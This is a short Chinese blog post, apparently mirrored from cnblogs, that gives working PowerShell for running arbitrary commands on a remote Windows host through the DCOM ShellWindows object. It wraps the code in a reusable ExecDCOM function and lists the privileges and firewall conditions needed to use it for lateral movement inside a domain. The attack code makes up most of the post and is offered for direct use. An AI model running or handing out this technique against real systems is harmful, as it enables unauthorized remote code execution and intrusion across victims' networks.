• DCOM 远程调起一个进程


    在指定目标机器上,执行指定程序

    1 $ip = "127.0.0.1";
    2 $cmd = "notepad.exe";
    3 $com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',$ip);
    4 $obj = [System.Activator]::CreateInstance($com);
    5 $item = $obj.item();
    6 $item.Document.Application.ShellExecute("cmd.exe","/c " + $cmd,"c:\windows\system32",$null,0);

    流程如上,写成 ps 函数就是

    1 function ExecDCOM($ip = "127.0.0.1", $cmd = "notepad.exe")
    2 {
    3     $com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',$ip);
    4     $obj = [System.Activator]::CreateInstance($com);
    5     $item = $obj.item();
    6     $ret = $item.Document.Application.ShellExecute("cmd.exe","/c " + $cmd,"c:\windows\system32",$null,0);
    7     return $ret;
    8 }

    如果用DCOM来横向的话,还有一些要求

    1.管理员权限的powershell

    2.客户端关闭防火墙

    3.服务端需要域管的administrator账户或者目标主机具有管理员权限的账户

    4.双方主机都需有MMC Application Class这个DCOM组件。
     
    简单总结一下就是,关闭防火墙,管理员权限,(双方都有DCOM这个反倒容易实现)

  • 相关阅读:
    leetcode — spiral-matrix-ii
    leetcode — spiral-matrix
    leetcode — maximum-subarray
    leetcode — n-queens
    leetcode — powx-n
    leetcode — anagrams
    bzoj 2194: 快速傅立叶之二 FFT
    bzoj 4503 两个串 快速傅里叶变换FFT
    Codeforces 762D Maximum path 动态规划
    Codeforces 762C Two strings 字符串
  • 原文地址:https://www.cnblogs.com/suanguade/p/15660826.html
Copyright © 2020-2023  润新知